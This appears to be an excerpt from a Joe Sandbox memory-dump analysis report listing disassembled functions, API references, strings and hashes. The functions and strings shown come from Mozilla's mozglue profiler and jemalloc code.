Function 6C43AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f1a574b943935c4e55058572a922259778dd88a10ef30616f884af1754c1b69
Instruction ID: 050176ab4abd6ff26d22729d9c39f3e6fab4e3acd16b88639df73939436f8bc8
Opcode Fuzzy Hash: 7f1a574b943935c4e55058572a922259778dd88a10ef30616f884af1754c1b69
Instruction Fuzzy Hash: D6F17A716487554FDF00CE69C881FAAB7E2AFCD319F149A2DE4D8877C1E37498458782

Function 6C3CC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: b1fe7c61b4099eb3a66fab4c3e4ef927cba5ac8b3b9077e5fdcb5e62ec30f67e
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: CDA19B71F0061A8FDB08CE69D8913AEB7F2AFC8354F188229D955E7781DB349C068F91

Function 6C407710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 6efd03c2b30ef656e2d9ea0d69eabdb5d8f98eb2adb10afb8c5680bc19e23ace
Instruction ID: 6e37a3982c103c3151a813712b0e3c4cd84abad3839458b99f09d769c9917741
Opcode Fuzzy Hash: 6efd03c2b30ef656e2d9ea0d69eabdb5d8f98eb2adb10afb8c5680bc19e23ace
Instruction Fuzzy Hash: 9F718C71E052198FCB08CFA8C8909EDBBB2FF88315F24812ED915AB740D731A905CF91

Function 6C40CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C3D582D), ref: 6C40CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C3D582D), ref: 6C40CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C43FE98,?,?,?,?,?,6C3D582D), ref: 6C40CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C3D582D), ref: 6C40CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C3D582D), ref: 6C40CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C3D582D), ref: 6C40CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C3D582D), ref: 6C40CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C40CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C40CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C40CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C40CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C40CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C40CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C40CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C40CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C40CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C40CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C40CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C40CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C40CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C40CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C40CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C40CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C40CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C40CE8A

Strings

fileio, xrefs: 6C40CC92
Unrecognized feature "%s"., xrefs: 6C40CEA0
stackwalk, xrefs: 6C40CCF8
noiostacks, xrefs: 6C40CCBE
nativeallocations, xrefs: 6C40CDA8
notimerresolutionchange, xrefs: 6C40CE00
processcpu, xrefs: 6C40CE6E
nostacksampling, xrefs: 6C40CD7C
jsallocations, xrefs: 6C40CD0E
power, xrefs: 6C40CE84
java, xrefs: 6C40CC37
seqstyle, xrefs: 6C40CCE6
ipcmessages, xrefs: 6C40CDBE
mainthreadio, xrefs: 6C40CC7C
samplingallthreads, xrefs: 6C40CE2C
audiocallbacktracing, xrefs: 6C40CDD4
default, xrefs: 6C40CC21
markersallthreads, xrefs: 6C40CE42
cpuallthreads, xrefs: 6C40CE16
preferencereads, xrefs: 6C40CD92
leaf, xrefs: 6C40CC66
unregisteredthreads, xrefs: 6C40CE58
screenshots, xrefs: 6C40CCD4
fileioall, xrefs: 6C40CCA8

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 8121946b3cbde4b8d8e443633b02f450eb9a2349a11988e196c3cfe4de06f4ad
Instruction ID: a21b6834c11204bf9f96a39775cd0648c39e5e0daf9c453cfd9a03b9f2f1a1ed
Opcode Fuzzy Hash: 8121946b3cbde4b8d8e443633b02f450eb9a2349a11988e196c3cfe4de06f4ad
Instruction Fuzzy Hash: ED5184D2BC627592FA00F3166D10FAE1405EFA624BF10553AED0DA5F80FB05A61AC5F7

Function 6C3D47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C3D4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C3D4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C3D482D
__Init_thread_footer.LIBCMT ref: 6C3D484A

Part of subcall function 6C3FAB3F: EnterCriticalSection.KERNEL32(6C44E370,?,?,6C3C3527,6C44F6CC,?,?,?,?,?,?,?,?,6C3C3284), ref: 6C3FAB49
Part of subcall function 6C3FAB3F: LeaveCriticalSection.KERNEL32(6C44E370,?,6C3C3527,6C44F6CC,?,?,?,?,?,?,?,?,6C3C3284,?,?,6C3E56F6), ref: 6C3FAB7C

GetCurrentThreadId.KERNEL32 ref: 6C3D485F
GetCurrentThreadId.KERNEL32 ref: 6C3D487E
AcquireSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C3D488B
free.MOZGLUE(?), ref: 6C3D493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C3D4956
free.MOZGLUE(00000000), ref: 6C3D4960
ReleaseSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C3D499A

Part of subcall function 6C3FAB89: EnterCriticalSection.KERNEL32(6C44E370,?,?,?,6C3C34DE,6C44F6CC,?,?,?,?,?,?,?,6C3C3284), ref: 6C3FAB94
Part of subcall function 6C3FAB89: LeaveCriticalSection.KERNEL32(6C44E370,?,6C3C34DE,6C44F6CC,?,?,?,?,?,?,?,6C3C3284,?,?,6C3E56F6), ref: 6C3FABD1

free.MOZGLUE(?), ref: 6C3D49C6
free.MOZGLUE(?), ref: 6C3D49E9

Part of subcall function 6C3E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C3E5EDB
Part of subcall function 6C3E5E90: memset.VCRUNTIME140(ewBl,000000E5,?), ref: 6C3E5F27
Part of subcall function 6C3E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C3E5FB2

Strings

MOZ_PROFILER_SHUTDOWN, xrefs: 6C3D4A42
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C3D47FC
[I %d/%d] profiler_shutdown, xrefs: 6C3D4A06
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C3D4812
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C3D4828

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: db9ab8a37abe2d0b08aef76f20e7c99a20500357c8485911722975b4083ce4d5
Instruction ID: 9820dac2205e020dbecb1ccd78a842eed9882bfa56470967e2ef58cacde06b32
Opcode Fuzzy Hash: db9ab8a37abe2d0b08aef76f20e7c99a20500357c8485911722975b4083ce4d5
Instruction Fuzzy Hash: AA812772A001008BEB10FF68D884B5A7775FF4232CF264669D91697B41E732F854CF96

Function 6C3D4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C3D4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C3D44B2,6C44E21C,6C44F7F8), ref: 6C3D473E
Part of subcall function 6C3D4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C3D474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C3D44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C3D44D2
InitOnceExecuteOnce.KERNEL32(6C44F80C,6C3CF240,?,?), ref: 6C3D451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C3D455C
LoadLibraryW.KERNEL32(?), ref: 6C3D4592
InitializeCriticalSection.KERNEL32(6C44F770), ref: 6C3D45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C3D45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C3D45BB
InitOnceExecuteOnce.KERNEL32(6C44F818,6C3CF240,?,?), ref: 6C3D4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C3D4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C3D4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C3D466D
VerSetConditionMask.NTDLL ref: 6C3D469F
VerSetConditionMask.NTDLL ref: 6C3D46AB
VerSetConditionMask.NTDLL ref: 6C3D46B2
VerSetConditionMask.NTDLL ref: 6C3D46B9
VerSetConditionMask.NTDLL ref: 6C3D46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C3D46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C3D46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C3D46FD

Strings

NativeNtBlockSet_Write, xrefs: 6C3D46F7
user32.dll, xrefs: 6C3D4557, 6C3D463F
WRusr.dll, xrefs: 6C3D44B5
GDl, xrefs: 6C3D44FC
kernel32.dll, xrefs: 6C3D44CD
l, xrefs: 6C3D4578

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: GDl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-2829977032
Opcode ID: f3d3b730e2bf04dafeb7c346e7991a1e8444d7f95483ab35635ee3d539bf6b48
Instruction ID: 089bfb8d3f1b1d2369f6c08550c8dddd2c3e039ba01fdf469e06c15598e8040a
Opcode Fuzzy Hash: f3d3b730e2bf04dafeb7c346e7991a1e8444d7f95483ab35635ee3d539bf6b48
Instruction Fuzzy Hash: CF6102B1A05244AFFB00FF61C849F99BBB8EB4630CF35C558E9089B641D7B5A944CF61

Function 6C40F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C409420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C3D4A68), ref: 6C40945E
Part of subcall function 6C409420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C409470
Part of subcall function 6C409420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C409482
Part of subcall function 6C409420: __Init_thread_footer.LIBCMT ref: 6C40949F

GetCurrentThreadId.KERNEL32 ref: 6C40F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C40F8F9

Part of subcall function 6C3D6390: GetCurrentThreadId.KERNEL32 ref: 6C3D63D0
Part of subcall function 6C3D6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C3D63DF
Part of subcall function 6C3D6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C3D640E

ReleaseSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C40F93A
GetCurrentThreadId.KERNEL32 ref: 6C40F98A
GetCurrentThreadId.KERNEL32 ref: 6C40F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C40F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C40F716

Part of subcall function 6C4094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4094EE
Part of subcall function 6C4094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C409508

Part of subcall function 6C3CB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C3CB5E0

GetCurrentThreadId.KERNEL32 ref: 6C40F739
AcquireSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C40F746
GetCurrentThreadId.KERNEL32 ref: 6C40F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C44385B,00000002,?,?,?,?,?), ref: 6C40F829
free.MOZGLUE(?,?,00000000,?), ref: 6C40F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C40F866
free.MOZGLUE(?), ref: 6C40FA0C

Part of subcall function 6C3D5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C3D55E1), ref: 6C3D5E8C
Part of subcall function 6C3D5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C3D5E9D
Part of subcall function 6C3D5E60: GetCurrentThreadId.KERNEL32 ref: 6C3D5EAB
Part of subcall function 6C3D5E60: GetCurrentThreadId.KERNEL32 ref: 6C3D5EB8
Part of subcall function 6C3D5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C3D5ECF
Part of subcall function 6C3D5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C3D5F27
Part of subcall function 6C3D5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C3D5F47
Part of subcall function 6C3D5E60: GetCurrentProcess.KERNEL32 ref: 6C3D5F53
Part of subcall function 6C3D5E60: GetCurrentThread.KERNEL32 ref: 6C3D5F5C
Part of subcall function 6C3D5E60: GetCurrentProcess.KERNEL32 ref: 6C3D5F66
Part of subcall function 6C3D5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C3D5F7E

free.MOZGLUE(?), ref: 6C40F9C5
free.MOZGLUE(?), ref: 6C40F9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6C40F71F
" attempted to re-register as ", xrefs: 6C40F858
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C40F9A6
Thread , xrefs: 6C40F789

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 671afeaceb25db7afb8cb7cb4d09b33f518b36780115cea7ab04ed78ed65a502
Instruction ID: 700502c116383cff280018aaea272482ab77f2bc2cf255f6198bc279cb7af87d
Opcode Fuzzy Hash: 671afeaceb25db7afb8cb7cb4d09b33f518b36780115cea7ab04ed78ed65a502
Instruction Fuzzy Hash: AB81F471A056009FE710EF24C840FAEB7A5EFC5308F54857DE8899B751EB30A849CB93

Function 6C40EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C409420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C3D4A68), ref: 6C40945E
Part of subcall function 6C409420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C409470
Part of subcall function 6C409420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C409482
Part of subcall function 6C409420: __Init_thread_footer.LIBCMT ref: 6C40949F

GetCurrentThreadId.KERNEL32 ref: 6C40EE60
AcquireSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C40EE6D
ReleaseSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C40EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C40EEA5
CloseHandle.KERNEL32(?), ref: 6C40EEB4
free.MOZGLUE(00000000), ref: 6C40EEBB
GetCurrentThreadId.KERNEL32 ref: 6C40EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C40EECF

Part of subcall function 6C40DE60: GetCurrentThreadId.KERNEL32 ref: 6C40DE73
Part of subcall function 6C40DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C3D4A68), ref: 6C40DE7B
Part of subcall function 6C40DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C3D4A68), ref: 6C40DEB8
Part of subcall function 6C40DE60: free.MOZGLUE(00000000,?,6C3D4A68), ref: 6C40DEFE
Part of subcall function 6C40DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C40DF38

Part of subcall function 6C3FCBE8: GetCurrentProcess.KERNEL32(?,6C3C31A7), ref: 6C3FCBF1
Part of subcall function 6C3FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3C31A7), ref: 6C3FCBFA

GetCurrentThreadId.KERNEL32 ref: 6C40EF1E
AcquireSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C40EF2B
ReleaseSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C40EF59
GetCurrentThreadId.KERNEL32 ref: 6C40EFB0
AcquireSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C40EFBD
ReleaseSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C40EFE1
GetCurrentThreadId.KERNEL32 ref: 6C40EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C40F000

Part of subcall function 6C4094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4094EE
Part of subcall function 6C4094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C409508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C40F02F

Part of subcall function 6C40F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C40F09B
Part of subcall function 6C40F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C40F0AC
Part of subcall function 6C40F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C40F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C40F008
[I %d/%d] profiler_stop, xrefs: 6C40EED7

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 380e7b61b3c33e3884f4cd448d0e5acd3f3f6a55950ac7ce3dfca57f3c8031ba
Instruction ID: cbb6c4f8c725179875a41eb76f08b7e82e5185231f4df25e086b311d348a155b
Opcode Fuzzy Hash: 380e7b61b3c33e3884f4cd448d0e5acd3f3f6a55950ac7ce3dfca57f3c8031ba
Instruction Fuzzy Hash: 1F510131746610AFFB00FB64D848F9A77B4EB5632DF308539E96583B40DB3548158BE2

Function 6C3FD010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C44E804), ref: 6C3FD047
GetSystemInfo.KERNEL32(?), ref: 6C3FD093
__Init_thread_footer.LIBCMT ref: 6C3FD0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C44E810,00000040), ref: 6C3FD0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C44E7B8,00001388), ref: 6C3FD147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C44E744,00001388), ref: 6C3FD162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C44E784,00001388), ref: 6C3FD18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C44E7DC,00001388), ref: 6C3FD1B1

Strings

MOZ_CRASH(), xrefs: 6C3FD277
: (malloc) Unsupported character in malloc options: ', xrefs: 6C3FD322
MALLOC_OPTIONS, xrefs: 6C3FD0CB
Compile-time page size does not divide the runtime one., xrefs: 6C3FD26D
<jemalloc>, xrefs: 6C3FD268, 6C3FD311

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
